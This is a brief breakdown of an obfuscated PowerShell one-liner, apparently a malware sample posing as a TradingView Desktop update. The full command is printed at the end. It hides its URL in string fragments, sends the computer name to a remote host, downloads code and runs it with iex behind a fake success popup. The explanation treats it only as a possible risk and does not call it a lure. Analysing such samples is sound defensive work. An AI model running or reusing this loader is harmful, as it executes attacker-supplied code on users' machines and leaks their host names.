This PowerShell script seems to be executing a series of commands to establish a network connection, retrieve data from a specific URL, and display a popup message indicating the success status. Let's break down the code into key components: 1. Variable Definitions: - $launch: Set to 'launch' - $update: Set to 'update' - $TWDesktop: Set to 'dlr.com' - $flow: Set to 'flow' - $ai: Set to 'htt' - $model: Set to 'ps://ea' - $dev: Constructed by concatenating $ai, $model, $TWDesktop, $flow, $launch, and $env:computername - $status: Set to 'TradingView Desktop updated!' 2. Setting Security Protocol: - Sets the security protocol of the service point manager to TLS 1.2. 3. Making a Web Request: - Uses the Invoke-WebRequest cmdlet (iwr) to send a request to the URL stored in $dev - Parameters used: -UseBasicParsing (prevents loading unnecessary elements), -UserAgent (specifies the user agent string) 4. Displaying Popup Message: - Creates a Wscript.Shell COM object - Generates a popup message using the Popup method of Wscript.Shell - Message: $status - Timeout: 180 seconds - Title: 'Success' - Icon style: 0x0 5. Executing the Retrieved Content: - Uses the Invoke-Expression cmdlet (iex) to execute the content retrieved from the URL Overall, this script appears to be initiating a connection to a specific URL and then executing the received content, with a final popup indicating success. The purpose and content of the URL being referenced are not specified in the extracted code. Using Invoke-WebRequest and Invoke-Expression to execute content from a remote source carries potential security risks and should be approached with caution.

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powershell -c "$launch='launch'; $update='update'; $TWDesktop='dlr'+'.com'; $flow='flow'; $ai='htt';$model='ps://ea'; $dev=$ai+$model+$TWDesktop+'/'+$flow+'/'+$launch+'.php?compName='+$env:computername; [nET.serVIcePoINtMaNAgEr]::SECuriTYPROtOcol=[NeT.sECUrITyprotoCOLTYpe]::tLs12; $done= iwr $dev -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.416.0 Safari/537.36 Edg/86.0.53.0'; $command=New-Object -ComObject Wscript.Shell; $status='TradingView Desktop '+$update+'d!'; $command.Popup($status,180,'Success',0x0); iex $done;"